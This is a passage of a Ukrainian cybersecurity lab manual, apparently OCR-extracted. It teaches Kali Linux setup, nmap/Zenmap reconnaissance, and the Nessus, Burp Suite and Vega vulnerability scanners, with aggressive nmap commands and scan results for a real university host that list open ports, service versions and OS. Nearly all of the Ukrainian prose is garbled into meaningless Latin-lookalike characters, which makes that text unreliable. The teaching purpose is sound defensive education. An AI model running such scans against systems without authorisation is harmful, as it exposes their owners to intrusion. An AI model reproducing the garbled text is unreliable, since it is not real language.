[!!] Finish the installation

Installation complete
Installation is complete, so it is time to boot into your new sustem. Make sure to remave
the installation media (CD-ROM, floppies), so that you boot into the new system rather
than restarting the installation.

<Go Back>

Pucynok 17 — IacTansiito 3apepiieHo, 06epith "Continue" Ta HaTucHITH Enter

3aBaaHHA:

Posropaytu onepartiiiny cucremy Kali Linux Ha komm’totepi abo BipTyasbHIM

MAIIIVHI.
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JlabopaTtopHa po6oTa Ne2

Tema: IHCTpyMEHTH NPHXOBAHOr0 300py TexHiuHOI iHdGopmanii 3

KOMII’KOTEPHOI cucTeMH ad0 Mepe:xi.

Mera: OTpuMaTu 3HAHHS TA HABHYKH KOPHMCTYBAHHS IHCTPyYMeHTaAMM

CKPHUTOro 300py TexHiYHOI iHdopMallii 3 Mepe:Ki 200 KOMIT’'I0TEPHOI CHCTEMH.

TeopernuHi BizomocTi

Byap skuil aynut iHQopMaliifHOi Oe3MeKn opraHizalli MOYMHAETHCS 13 300py
iH(dopMaIlii mpo:

— KpaiHy /e (PyHKIIOHY€ opraHizaiis;

— oprasi3ariro Ta ii JisJIbHICTb,

— KOMIT IOT€pPH1 MepeXi oprasizarii;

— KOMIT IOTE€pH1 CUCTEMU IO (PYHKIIOHYIOTh B OpraHi3alii MpaiBHUKIB.

binbmiicte 1HQOpMaIi MOXIMBO OTPUMATH 3 BIAKPUTHX JKEPEI, NEIKY
iH(pOopMaIil0 HaJae cama OpraHizalis aje Taka iHpopMallis, HalyacTille, BUSIBUTHCA
HEaKTyaJIbHOIO a00 HE y He0OXiTHOMY (hopmaTi, OCOOJIUBO 1€ CTOCYETHCS TEXHIUYHUX
naHux. TexHiyHl gaHi 10 OyayTh BHUKOPHCTOBYBATHCh TIiJi dYac ayJIuTy
iH(popmaniiiHoi Oe3nekr O000B’S3KOBO TOBUHHI OyTH akTyallbHI, OUIBLI TOTO
OUIBIIICTh 3 HUX MTOBUHHA 30UpaTUCs TIEBHUI yac a0o y neBHui yac. Hampuknan, ans
TOro 100 BUSBUTHU BIIPI30K Yacy KOJM 3pOCTAa€ HAMOUIbII MOTEHI[IHHO HeOe3neyHa
JISTbHICTh KOPUCTYBAUiB.

IcHye BenmKa KUTBKICTh PI3HOMAHITHUX 3aC00IB Ta METOIB 300py TEXHIYHOI
iHdopmalii, oJHAaK, HAMOUIbII TOMMPEHMM 3 HUX € nmap. Jug nmap Oyno
po3pobiieno rpadiunuii inTepdeiic — zenmap (Pucynok 2), Ha Pucynok 1 300paxeHo

KOHCOJIb 3 nmap.
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Pucynok 18 — Koncosnb 3 nmap
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Scan

%A

Tools  Profile

MNew Scan

Command Wizard Save Scan Open Scan

Help

d &= @

Report a bug

a

Help

Intense Scan on scanme.nmap.org 171.67.22.3 10.0.0.10 wap.yuma.net zardoz.yuma.net 3

Target: |.O wap.yuma.netzardoz.yuma.netl A4 | Profile: |Intense 5can

[+ [scan|

Command: |nmap -T Aggressive -A scanme.nmap.org 171.67.22.3 10.0.0.10 wap.yuma.net zardoz.yums

| Hosts | Services |

Ports / Hosts | Nmap Output| Host Details | Scan Details |

05 |Host

4y scanme.nmap.org
] 17167.223

-© 10.0.0.10

'3) wap.yuma.net 192
'3) zardoz.yuma.net 1

[<] 7 [*]

ERNRRN

~ Host Status
State: up

Open ports: &l

Fltered ports: 0

Closed ports: 2

Scanned ports: 5

3920659

Sat Oct 27 10:38:07 2007

Up time:

Last boot:
= Addresses

IPvd: 205.217.153.62

IPvE:

MAC:

=7 Hostnames

Name - Type: scanme.nmap.org - PFTR

~ Operating System
Name: Linux 2.6.20-1 (Fedora Core 5)

Accuracy: [FRRRRGGGE

[> Ports used

Gy
§

-

NN

[<]

Pucynok 19 — Intepdeiic nmap — zenmap

Po3riasinemo BUKOPHUCTAHHA Nmap:

CuHoricuc:

nmap [<tum ckanyBaHHs>] [<Omnmii>] {<uuib CKaHyBaHHS> }

Po3riisiHeMo OCHOBHI THIIM CKAHYBAHHS NmMap:

-sS (TCP SYN ckaHyBaHHS) — HalOUIbII TONIMPEHUA THIT CKaHYBaHHS, IO

JI03BOJISIE€ MIBUJIKO MPOCKAHYBATU COTHI MOPTIB.

-sU (UDP ckanyBaHHs) — JI03BOJII€ CKaHyBaTH CEPBICH IO BUKOPHUCTOBYIOTH

UDP nporokou.

-sY (SCTP INIT ckanyBaHHs) — ekBiBasieHT “-sS” miast SCTP (Oinbin HOBa

ansrepHatuBa TCP ta UDP) mpotokouy.
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-SO (IP ckanyBaHHS) — 103BOJIsIE BU3HAYUTH sIKi [P ipoTOKOIM TiATPUMYIOTHCS
JIOBOIO MAIIIMHOIO

Po3risineMo OCHOBHI Onuii CKAHYBAHHA nmMap:

-p <miama3oH MOPTIB> — J03BOJIsIE€ MPOCKAHYBATH MEBHI Jiara30HU MOPTIB

-F — mBuake ckanyBaHHs TOpTiB, nmap ckanye 1000 HalOUIBII BXKUBAHHUX
MOPTiB, BUKOPUCTOBYIOUH JaHy OIIIIIIO 1151 KTBKICTh 3MeHIyeThes 10 100.

-SV — BHU3HA4a€ BEpPCii0 CEPBICY 110 BUKOPUCTOBYE MOPT

-O — BMHKa€e BU3HAUCHHS ONEPAIiitHOT CUCTEMHU

--Max-0S-tries — BCTAHOBIIIOE MAaKCHMaJbHY KUIBKICTh CIPOO BH3HAYCHHS
oreparifHoi CUCTEMHU

[le ocHOBHI omiii Ta TUMNUA CKaHYBaHHS IO BUKOPUCTOBYE nmap. Bapro
3ayBaXHUTH IO IHCTPYMEHT NMap HACTUIBKHA MOTYXHHUH 110 Ma€ CBOIO CKPHUIITOBY
MoBY — NSE, sika [103BOJIsi€ OpraHizoByBaTH Jy>K€ CKIagHI MeXaHI3MH 300py
iH(dOopMmaIrii.

['padiuyna obGosoHKA zenmap J03BOJISIE MIBUJKO MPOAHATI3YBATH MEPEXy abo
KOMIT IOTEpHY CUCTEMY, 3aBASKH JEKUIBKOM B)KE€ HAJIAIITOBAHUM PEXKUMaM. TUM He
MEHIII 3a3BMYail iX HEIOCTAaTHbO [IJIi OTPUMAHHS TOBHOI KapTHUHU cuUTyalii. Y
zenmap € JIeKUIbKa YK€ BaXJIMBUX TEpeBar, OKPIM 3pPYyYHOCTI BHKOPUCTAHHS
rpadiunoro iHtepdericy. OaHi€l0 3 BaroMux IepeBar 1€ aBTOMaTU4yHa Mo0y/0Ba
rpady/Toroorii Mepeki sika CKaHy€eThCS. BUIBII TOTO IIS1 TOMOJIOTISA IHTEpaKTHBHA
IO J03BOJISIE PO3IIIAAATH MEPEXY, TaK OM MOBMTH, M 3pY4YHUM I CHellanicra
kytoM. [lle oxHi€r0 epeBarow zenmap € IpoCTHil 1 3po3yMiIuil crocid 30epiraHus i
BIIKpUTTS MONEPENHIX CKaHyBaHb. A 1€ zenmap I03BOJSIE POOUTH CBOi OCOOUCTI
npodailin CKaHyBaHb IJISl MOAAJIBIIOTO iX BUKOPUCTAaHHSA. Po3risHemo iHTepdeiic

zenmap JeTallbHIIIIE.
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Zenmap e ® O
Scan Tools Profile Help

| , | :
Target: ‘kntu.kr.ua v | Profile: |Intense scan v | [Scan| [Cancel|

Command: |nmap -T4 -A -v kntu.kr.ua |

IHosts Services| Nmap Output | Ports / Hosts  Topology Host Details | Scans

e U | nmap -T4 -A -v kntu.kr.ua v ‘ |Details‘
kntu_kr.ua (10N AUURE>S l
BiSd 1 0.96 ms 192.168.0.1
2

3 25.14 ms kyivstar-30G-gw.ix.net.ua
(195.35.65.27)

4  22.97 ms infocom-10G-gw.ix.net.ua
(195.35.65.35)

5 31.62 ms ge-62.212-1-68.ukrpack.net
(212.1.68.62)

6

7 26.25 ms ns.kntu.kr.ua (195.230.140.114)

NSE: Script Post-scanning.
Initiating NSE at 17:59
Completed NSE at 17:59, 0.00s elapsed
Initiating NSE at 17:59
Completed NSE at 17:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
05 and Service detection performed. Please
report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in
33.41 seconds

Raw packets sent: 2070 (94.476KB) |

- I * | Rcvd: 54 (23.448KB)

| Filter Hosts ‘ ¥

Pucynok 20 — Bximanuaka ~ Hosts — mepenmidyeHo  3HaiiieHI  XOCTH,  Ta

CTaHAApTHUW BUBIA nmap — BkiIaguHka Nmap Output
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Zenmap o ® O )

Scan Tools Profile Help

Target: ‘ kntu.kr.ua

| | . | | ¥
v  Profile: |Intense scan v Scan |(_anr_el|

Command: ‘nmap -T4 -A -v kntu.kr.ua ‘

Hosts m Nmap Output | Ports / Hosts | Topology | Host Details | Scans

Service
domain
http
imap
pop3
Smux
ssh

unknown

' ‘

‘ Filter Hosts

nmap -T4 -A -v kntu.kr.ua v ‘ |Details|

HUF KI | AUUKESS A
1 ©0.96 ms 192.168.0.1

2 ...

3  25.14 ms kyivstar-30G-gw.ix.net.ua
(195.35.65.27)

4 22.97 ms infocom-10G-gw.ix.net.ua
(195.35.65.35)

5 31.62 ms ge-62.212-1-68.ukrpack.net
(212.1.68.62)

6

7 26.25 ms ns.kntu.kr.ua (195.230.140.114)

NSE: Script Post-scanning.
Initiating NSE at 17:59
Completed NSE at 17:59, 0.00s elapsed
Initiating NSE at 17:59
Completed NSE at 17:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S5 and Service detection performed. Please
report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in
33.41 seconds

Raw packets sent: 2070 (94.476KB) |
Rcvd: 54 (23.448KB)

Pucynok 21 — Bkiagunka Services — BiToOpakaroThCsl YCi 3HAMICHI cepBicH

Zenmap o o o
Scan Tools Profile Help
Target: |kntu.kr.ua | = | Profite: [Intense scan | = | |[scan| [Eancel|

Command:

[Amap -T4a —A —v kntu. kr.ua

Hosts |[ Services | MNmap Output Topology | Host Details | Scans

Service
domain
http
imap
pop3

s s
ssh

unknowwn

- Port Protocol State Service Version

| = 32 tcp open ssh OpensSsSH 6.6.1_hpnl3wvl
< 53 tcp open domain ISC BIND 9.8.1-P1
“ 80 tcp open http Apache httpd 2.4.18 ((Fre
<» 110 twcp open pop3 Courier pop3d
< 1a3 tcp open imap Courier Imapd (released 2
«» 199 tcp open S Linux SMNMP multiplexer
€ 9081 cp closed unknowwn

Filter Hosts

Pucynok 22 — Bknagunka Port/Hosts — mepenideHo BiJHOIIEHHS BiJKPUTOTO

MOPTY /10 XOCTY
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Zenmap o @® @'
Scan Tools Profile Help

| [
Target: |kntu.kr.ua v Profile: |Intense scan v | |Scan| |Cancel|

Command: |nmap -T4 -A -v kntu.kr.ua |

| Hosts ” Senrices] Nmap Output Ports / Hosts | Topology §Host Details | Scans
Service v |H05ts Viewer” Fisheye || Contr0l5| Save Graphic

domain

http

imap
pop3
smux

ssh

unknown pﬁknm.kr.ua 1195.230.140.114}

3e-62.212-1-68 vkrpack. net
infocom-10G-gw .ix.net.ua
kyivstar-30G-gw . x.net.ua
(s

/D'lg-z J168.0.1
localhost

| Filter Hosts |

Pucynox 23 — Bkiagunka Topology — BimoOpaxkae aBTOMaTHYIHO TTOOYI0BaHUI

rpad-TOMoJIOrito BiICKAHOBAHOI 00JIACTI MEPEXKi)
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Zenmap e e O
Scan Tools Profile Help

Target: ‘kntu.kr.ua | v | Profile: |Intense scan | v | ‘Scan‘ |Cancel|

Command: |nmap -T4 -A -v kntu.kr.ua |

‘ Hosts “ Services I Nmap Output | Ports / Hosts Topology IHost Details I Scans

Service - ¥ kntu.kr.ua (195.230.140.114) A
domain ¥ Host Status
http State: up
0] rts: 6
. pen ports
Filtered ports: 993 -
pop3
Closed ports: 1
smux
. Scanned ports: 1000
ss y
Up time: 22 |
unknown Lastboot:  Tue Oct 4 17:59:17 2016 '
WV Addresses
IPv4: 195.230.140.114
IPv6:  Not available
MAC: Not available
¥ Hostnames
Name - Type: kntu.kr.ua - user
Name - Type: ns.kntu.kr.ua - PTR
¥ Operating System
Name: FreeBSD 7.1-RELEASE - 9.0-CURRENT
| FilterHosts | Accuracy: (TG v

Pucynok 24 — Bxknaguaka  Host  Details — BinoOpakae ~ HaliBaXJIUBIIITY

1H(hOpMAIIiO PO MOTOYHHIA XOCT

Zenmap [ —] = = )
Scan Tools Profile Help
Target: |kntu.kr.ua [ = | Profile: Intense scan | - | Scan |Canr:el|
Command: | mnmap -T2 -A —wv kntu.kr.ua |
[ Hosts ]l Services J MNMmap Cutput | Ports S Hosts Topology Host Details m
os Host Status Command

Unsavedé nmap -T4 -A —wv kntu.kr.ua

kntu.kr.ua (191

= I =
| Filter Hosts J |

= Append Scan | [ 2 Remowe Scan | [ & cancel Scan

Pucynok 25 — Bkinaaunaka Scans — BijoOpakae CIUMCOK Ta cTaH (30epekeHo/He

30epekeH0) CKaHyBaHb
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Zenmap o ® &
Scan Tools Profile Help

Target: |kntu.kr.ua v | Profile: ||ntensescan v Scan| |Cancel

Command: |nmap -T4 -A -v kntu.kr.ua |

Hosts | Ser\rices| Nmap Output | Ports / Hosts | Topology | Host Details | Scans

o5 Tt lnmap -T4 -A -v kntu.kr.ua B ‘ |Detail5|
) AUF K1 I AUURESS *
SRS 1 0.96 ms 192.168.0.1
2

3  25.14 ms kyivstar-30G-gw.ix.net.ua
{195.35.65.27)

4 22.97 ms infocom-10G-gw.ix.net.ua
{195.35.65.35)

5 31.62 ms ge-62.212-1-68.ukrpack.net
(212.1.68.62)

6 “ac

7 26.25 ms ns.kntu.kr.ua (195.230.140.114)

NSE: Script Post-scanning.
Initiating NSE at 17:59
Completed NSE at 17:59, 0.00s elapsed
Initiating NSE at 17:59
Completed NSE at 17:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please
report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in
33.41 seconds

Raw packets sent: 2070 (94.476KB) |

[ * | Rcvd: 54 (23.448KB)

| Filter Hosts |

Pucynox 26 — Ilons Target, Profile, Command

Ha Pucynok 9 nmo3Haueni (4epBOHMM MapKepOM) TOJIS:

Target — BuzHauae 1116 1110 OyJ1e mpockanoBaHo. Hanpukiaz, sSKio HeoO0X1HO
npockanyBaTu gianmazoH Big 10.10.10.0-10.10.10.256 moxHa BCTaHOBHTH IIeH
napameTp y 10.10.10.0/24

Profile — mapameTp mo Bu3Havae skuii npodaiin Oyae BUKOPUCTAHO ISt
CKaHyBaHHsI, TIpO(}ailyii MOXJIMBO CTBOPIOBATU CAaMOCTIMHO a00 BHKOPUCTOBYBATH
icuytoul. [licis Bubopy npodaiina ioro crpouka Oyzae po3miiieHa y nojge Command.

Command — Bu3HaYae KOMaHIHY CTPOYKY SKy OyJe BHKOHAaHO B TpoIleci
CKaHYBaHHSA. i MOMJIMBO 3MIHMTH SKINO, HANpMKIAd, TeBHHH mpodaiin Oyne

BHKOPHCTAHO JIUIIC K OCHOBY HACTYITHOI'O CKaHYBaHHA.
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3aBaaHHA:

1. CkmacTu XapakTepUCTUKYy KOMITI'IOTEpIB Ta TOMOJOTIUHY Mamy Mepexi
BUKOPUCTOBYIOUHM 1HCTPYMEHTH nmap abo zenmap, abo iHIIL. Y XapaKTEepPUCTHII
MOBUHHI OyTHU BUKJIaJICHI HACTYIHI MUTAHHS:

— Biakputi noptu

— 3amy1ieHi cepBicu

— Bepcii onepaniifHux cucteMm

2. Hagatu nmpunymieHHs — siKi CepBICH MOXYTh OyTH 3aIlylIeHl Ha MOopTax IIo
BIJIKPHUTO aJI€ CEPBICH IO HUX HE BU3HAYEHI PU CKaHYBaHHI1

3. JlaTu KOPOTKUI OMHC CepBicam M0 3amyIIeH] B MEpexi

4. Hagatn mo jaekiiibka (SKIO €) BPa3JIMBOCTEH CEPBICIB IO 3amyIICHO Ha

X0cTax 3a iH(opmarliero HamioHanbHO1 0a3u BpasnmuBocTei CIIIA — nvd.nist.gov
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JlabopaTtopna po6ota Ne3

Tema: JlocnmimkeHHsS Bpa3IMBOCTEH CHUCTEMH ab0 Mepexki 3a JIONMOMOIOKO

CIeIiai30BaHoOro CKaHepa BpaznmBocTeld — Nessus.

Meta: BuszHauuTuH Ta MPOBECTH aHaji3 BPA3JIMBOCTEH 13 BHKOPHUCTAHHSIM

ckaHepy Nessus.

TeopernuHi BizomocTi

30ip iHdopmalii OAMH 13 HAWUTOJIOBHIMIMX Ta BIANOBIAAJIBHUX €TaIliB
MIPOBEICHHS JOCIHKEHHS 3aXUIEHHOCTI KOMIT IOTEPHOI cucTeMHu abo Mepexi, BiH,
Haifuacrtime € 1 HahWjgoBmIUMM. ICHye sik Oarato MeToAiB Tak 1 Oarato 3acoOiB
(iHCTpYMEHTIB) JIJIsl IPOBEJCHHS 300py HeoOXiaHOI iHpopmariii. KoxkeH iHCTpyMeHT
BUKOPUCTOBYE CBIA HaOlp METOMIB JOCHIDKEHHS CHCTEM, a KOXEH MEeTOJ
HaIpaBJICHO Ha CBOIO 00yacTh cucTteMu. CKaHep nmap Mae TyKe IMIUPOKUN CIIEKTP
3aCTOCYBaHHS, BIH [I03BOJISI€E BHSIBUTH JI€AKl BpPA3JIMBOCTI CUCTEMHU ajie HE €
Creliali30BaHUM Yy I Taiy3i AOCHIKeHb. Y TOW ke yac, 0araTo CHemiajiCTiB 3
iH(opMaliitHoT Oe3MeKu po3podIsSIOTh CBOT THCTPYMEHTH IO CIEIialbHO CTBOPEHI
K 3aco0M JOCIIKCHHS Bpa3jMBOCTEH — ckaHepu BpasiuBocTeir (vulnerability
scaners). OHUM 3 HAUMOTYKHIIIUX TaKUX 3ac001B € ckaHep — Nessus.

VY uiii 1abopoTopHii poOOTI HEOOX1THO BUKOHATH 1HCTAIAIIIO TakeTy Nessus
Ha ToNepeHbO BCTaHOBJIEHY cucteMy Kali Linux 1 BUKOHAaTH CKaHyBaHHS IMEBHOI
KOMIT'FOTEpHOT cHucTeMd abo komm’roTepa (meped CKaHyBaHHSAM OOOB’SI3KOBO
OTpUMAaNTEe JO3BUT BiJl BIACHUKA CHUCTEMH a00 Mepexi!), pe3yiabTaTH CKaHyBaHHS
3¢opMyBaTH y 3BIT, 3MICT 3BITY PO3’SCHEHO Yy 3aBIaHHI 10 Ii€i J1abopaTopHOi
poboTH.

JIy1s1 BCTAaHOBJICHHSI TTAKETy 3aBaHTaXTe WOro 3 odiliifHOTO caiTy tenable.com
(moTouHa  cTopiHKa  3aBaHTaXkeHHs  tenable.com/products/nessus/select-your-
operating-system#tos). OOepiTh Bepcito makery i Debian Ta HeoOXigHY

po3psaHicTh. Ilicnga 3aBaHTaXeHHS BIAKPUHTE KOHCOJIb 3 MpaBaMu CyIep-

31



KopucTtyBadya (root) Ta mepelmiTh y MamnKy 3 IakeToM. BCTaHOBJICHHS ITaKeTy
3MIUCHIOETRCS 3a jJomomororo komanmu «dpkg -1 <im’s abo mHuIIX 10 Bamioro
nmakety>.deb». Ilicas BcTaHOBIGHHS Yy KOHco Oyjae, NPUOJM3HO, HACTYITHE

(Pucynok 1):

root@sodom: ~/Downloads @ ® 0

File Edit View Search Terminal Help

:~# cd Downloads
s~/ mnloads# 1s

:~/Downloads# dpkg -i Nessus-6.8.1-debiant amd64.deb
Selecting previously unselected package nessus.

(Reading database ... 303559 files and directories currently installed.)
Preparing to unpack Nessus-6.8.1-debian6 amd64.deb ...

Unpacking nessus (6.8.1)

Setting up nessus (6.8.1) ...

Unpacking Nessus Core Components...

nessusd (Nessus) 6.8.1 [build M20062] for Linux

Copyright (C) 1998 - 20816 Tenable Network Security, Inc

Processing the Nessus plugins...
[ R

ALl plugins loaded (lsec)

- You can start Nessus by typing /etc/init.d/nessusd start
- Then go to https://sodom:8834/ to confligure your scanner

Processing triggers for systemd (231-4)
:~/Downloads#

Pucynoxk 27 — IloBigoMIIeHHS BIAIOTO BCTaHOBJIEHHS Nessus

[Ticnist BCTaHOBJIEHHS 3aIlyCTITh CKaHEP 3a JOMOMOT0I0 KOMAaH/IM 1110 BKa3aHa y
Ballliii KOHCOJi a Ha PucyHok 1 mo3HaueHa 4epBOHUM MapkepoMm. Y pasi BAAJIOro

3aIyCKy MOBIIOMJICHHS KOHCOJI1 Oy/1e MaTh HacTymHui BUJsiT (PUcyHOK 2):

root@sodom: / e e O

File Edit View Search Terminal Help
:/# /etc/init.d/nessusd start

Starting Nessus
/#

Pucynok 28 — IloBizomiieHHs y pa3i Boajioro crapty Nessus

[Ticns Toro sk cepic Oy/e 3amylleHo, BIIKPUNTE BeO-TIeperiisiiad, Ta BBEIITh

y MOro aapecHy CTpOKy aJpecy IO BKa3zaHa y Bailiid KoHcoui a Ha Pucynok 1
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BUJIIJICHO CHHIM MapKepoM, HaTHCHITH Enter. flkmo Be®G Opay3ep Bkaxe Ha
HEMOJKJIMBICTh BCTAHOBJICHHs Oe3leyHoro 3’€JHaHHSA (3a TpoToKojioM https) —
JoJaiiTe BUHATOK y Oe3meky Bamoro Opayszepy. CrapToBy cTopiHKy Nessus

300paxxeHo Ha PucyHok 3.

Welcome to Nessus® 6 O Nessus

Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:

* High-speed vulnerability discovery to determine which hosts are running which services

* Agentless auditing to make sure no host on your network is missing security patches

# Compliance checks to verify that every host on your network adheres to your security policy
# Scan scheduling to automatically run scans at the frequency you select

* And more!

Press continue to perform account setup, register this scanner, and download the latest plugins.

Pucynok 29 — CraproBa cropiaka Nessus

Hatuchite Continue Ta CcTBOpiTh aaMiHicTpaTopa ckaHepa. Ilicas doro
MOBEPHITHCSA HA CTOPIHKY 3aBAHTAXXEHHS MAKETY, 3HAWIITh BHU3Y CTOPIHKU KHOIIKY
«Get an activation codey». IlepeifmoBuim Ha CTOPIHKY 3 BHOOPOM THITY JHICH3IT
o06epith — Home. 3apeectpyiitecs maist otpuMmaHHs jinensii. Ilicas peectpaiii kon
aKTUBAIll Oy/ie HAJICIIaHO BaM Ha MOYTOBY CKPUHBKY 110 BU BKa3aJH MPU PEECTPAIIii.
[ToBepHITECS Ha CTOPIHKY CKaHepa Ta BBEIITh OTpUMaHWi Kito4. [louHeTkcs

3aBaHTakeHHs (PucyHok 4).
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Nessus

Pucynox 30 — I1porniec 3aBanTaxeHHS

3ayBaKkTe, IO NEPIIMKA 3alyCK CKaHEpa MOXE TPUBATH JOBIO 1 MOTpedye
3’e¢qHaHHs 3 1HTepHEeTOM. [licis 3amycky yBIHAIITH A0 CBOTO OOJIIKOBOTO 3aIlHCy, IO
OyJ10 CTBOpEHO Ha moyaTKy (He JUIs OTpUMaHHS JIIEH3IHHOro KioJa), Ha PucyHok 5

300pake€HO TOJIOBHY CTOPIHKY CKaHEPY.

Policies

Scans Upload

My Scans . .
This folder is empty.

Trash
All Scans

Mew Folder

Pucynox 31 — ['ojioBHA CTOPIHKY CKaHEPY

[Ticns poro HatucHITh «New Scany». Ha HOBIi cTOpiHLI 00€piTh CKaHyBaHHS
sKe BBaKaeTe 3a moTpioHe (000B’s3K0BMM € Jniine posmupene — Advanced Scan).
Beenite HE0oOXiHI mapaMeTpy HATHCHITH Save Ta y po3auini My Scans 3amycTiTh

HE0OXiTHE CKaHyBaHHsI. 3BIT CKaHepa JI0IaliTe 70 3BITY MO JabopaTopHiil poOOTi.
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3aBiaHHA:

1. PosropuyTtn ckaHep Bpa3nmuBocTei Nessus, IPOBECTH CKaHYBaHHS MEpExi
a00 OJHOTO KOMIT'IOTEpa, SK MIHIMyM TpbOMa croco0aMu 110 Hamae Nessus,
000B’s13k0BO MpoBecTH po3impeHe (Advanced) ckaHyBaHHS.

2. Pe3ynabTaram ckaHyBaHHS HaJaTH KOPOTKY XapaKTePUCTHKY (IO KOXHIiH 13
3HANIEHUX BPa3JIMBOCTEH).

3. IlopiBHATH pe3ynbTaTH OTPHMAaHI MPH BUKOHAHHI Ja0OpaTOpHOI poOOTH
No2, Bu3HauMTH XMOHO 3HAIEHI BPA3JIUBOCTI, SKIIO TaKl €, OOTPYHTYBaTH BHOI.

4.Y BHCHOBKY, MOPIBHATH METOA 300py 1H(QopMalii 3 J1adopaTopHOi poOOTH
No2 Ta Ne3, Bkazatu mpu sAKuUX OOCTaBHMHAX Ta IUISIX CHElianicTa Kpalie

BHKOPHUCTOBYBATU HGpHIPIfI MCTOI, a IIPpU SAKHUX — I[pymﬁ.
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JlabopaTtopna poGoTa Ne4

Tema: BusnaueHHs BpaznuBocTel BeO pecypciB Ta BeO nonatkiB. CkaHep

BpasnuBocTed — Vega.

Mera: Otpumaru HaBUYKH 300py iH(QoOpMmalii Mmpo Bpa3IMBOCTI 13 3a

JOMIOMOTOI0 CKaHepa BpasauBocTei — Vega.

TeopernuHi BizomocTi

OpHuM 3 HaWOIBII MOIIMPEHUX BEKTOPIB MPOBEJICHHS aTak € —BeO OAaTKU
Ta BeO pecypcu kommadiil. lle cnpruunHEHO 1X JOCTYIHICTIO 13 30BHI, Ta BEJIUKOIO
KUTBKICTIO BpPA3JMBOCTEH 110 MOIIUPEHI BeO TexHoJorissMU. OIHUM 13 HANO1IbII
MOIIMPEHUM 3aco00M JUIsi BU3HAUEHHS Bpa3IMBOCTEW pecypciB € Burp Suit

(Pucynok 1).

Burp Suite Free Edition v1.7.03 - Temporary Project e ® 0
Burp Intruder Repeater Window Help
Target | Proxy T Spider I Scanner T Intruder T Repeater TSEQ eeeeee ]'Damdar I Comparer TExter\der Tijezt options TUser options \[A\erts ‘

_[ Site map | Scope |

‘ Filter: Hiding not found items: hiding CSS, image and general binary content: hiding 4xc< responses; hiding empty folders &2}

Host | Method | URL | Params | Stat . 4 | Length | MIME type | Title

o
8
3
3
a
EY
F
3
2

Request | Response |

Raw Hex

ar

[+ ] =] [1vpe a search term 0 matches

=)

Pucynok 32 — Burp Suit

Burp Suit — e yHiBepcampbHuii 3acid, cepea HOro IHCTPYMEHTIB K 1 Ti sIKi
J03BOJISIFOTH 310paTu iH(dopMalio nmpo Bed pecype, Tak 1 OpraHizyBaTu Ta MPOBECTH

aTaKy, Hanmpukiam — SQl-in’exiiro. Aute, 1ieit 3aci0 OLIbIIe MIXOAUTh IS TOrO 00
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BUBYATH BXKE€ 3HaAWJEHI a00 MATBEPIUTH ICHYBAaHHS MOXJIHMBUX BpaznuBocTel. Jlis
OUIBIIOCTI HOTO THCTPYMEHTIB 30CepeKeHa Ha MEBHINA CTOpIHII abo i HAa TEBHOMY
eneMeHTI BeO aoaaTky abo pecypcy. Y Toit ke 4ac Vega (PucyHok 2) me 3aciod
poboTa SIKOTO 30cepe/KeHa came Ha 300pi iHQopMaIlii Mpo LUl Y aBTOMaTHYHOMY
PEKUMI.

Jns Toro mo6 BcTaHOBUTH cKaHep — Vega Ha Kali Linux 3amycTiTh KOHCOJIb 3
npaBaMu cyrep-kopuctyBada (root) Ta BUKOpHUCTaiTe KomaHmy «apt-get install
vega», BUIJIST KOHCOJII y pasl BAasol 1HCTamiIii 300pakeHo Ha Pucynoxk 3. Ilicns
BCTAHOBJICHHSI CKaHep AocTynmHuil 3 MeHio goaaTkiB Kali Linux y Bkmaam «Web

Application Analysis».

Subgraph Vega 00
File Scan Window Help
@ & ® Scanner| £ Proxy
& Website View = O |@ Scan Info =8
® = FE
@ vEGA
Scan Alert Summary
(D Scan Alerts ¥ 5 =0

"l @ & ©

e Identities 3 =0

= ,ﬁs > Proxy is not running 847M of 120T™ [

Pucynok 33 — Ckanep Bpa3IMBOCTel BeO J0/1aTKIB Ta pecypciB — Vega

37



root@sodom: ~ e e O

File Edit View Search Terminal Help

Could not resolve 'http.kali.org'
E: Failed to fetch http://http.kali.org/kali/pool/non-free/v/vega/vega 1.0-build
130-0kali2 amd64.deb Could not resolve 'http.kali.org'
E: Unable to fetch some archives, maybe run apt-get update or try with --fix-mis
sing?

:~# apt-get install vega
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
vega
0 upgraded, 1 newly installed, © to remove and 274 not upgraded.

Need to get 28.0 MB of archives.

After this operation, 32.4 MB of additional disk space will be used.
Get:1 http://kali.volia.net/kali kali-rolling/non-free amd64 vega amd64 1.0-buil
d130-0kali2 [28.0 MB]

Fetched 28.0 MB in 7s (3,923 kB/s)

Selecting previously unselected package vega.

(Reading database ... 303593 files and directories currently installed.)
Preparing to unpack .../vega 1.0-buildl30-0kali2 amd64.deb ...

Unpacking vega (1.0-buildl30-0kaliz)

Setting up vega (1.0-buildl30-0kaliz)

Processing triggers for libc-bin (2.23-5)

Pucynok 34 — IloBigomiieHHsI TepMiHAIy MPO Bajie BCTAHOBJICHHS CKaHEpa —

Vega

Posrnsnemo poGoty ckanepa. Ilicnmsa 3amycky ckaHepa Ha €KpaHi 3’ SBUTHCS
rosioBHe BikHO (Pucynok 2). J[ist Toro mo6 noyatu CKaHyBaHHs MEPEHIiTh 10 MEHIO
«Scan» ne obepith «Start New Scan». ¥ HoBoMy BikHi — «Select a Scan Target»,
BBEITh ajpecy pecypcy abo BeO momatky y mojie «Enter a base URI for scan», Ta

HaTUCHITH «Finishy. ITicis nmporo ckanep moune cBor poooty (PucyHok 5).
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Select a Scan Target
Enter a target URI

Pucynok 35 — Bikno «Select a Scan Target»
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Subgraph Vega [ - ]
File Scan Window Help

J @0 & % Proxy

ﬁ Whﬁ !in = 0| @ Scan Infol = Ell
& 5 = L

] =

= ! @ VEGA

3 &

- @

@

- @ Scanner Progress

< I 2

@ScanAlerts| @ O - — 8

© 10/06/2016 17:44:21 [Auditing] (2 i

http:/ s /search.php
4 out of 16 scanned (25.0%)

Scan Alert Summary

22 |dentities 32 2 =0

J = % © Proxy is not running H 838M of 12#9M ‘ﬁ

Pucynox 36 — I1pouiec ckanyBaHHs

[Ticnst 3aBepiIeHHS CKaHYBaHHS CKaHEp BUBEJE 3arajibHUN 3BIT Y TOJIOBHOMY
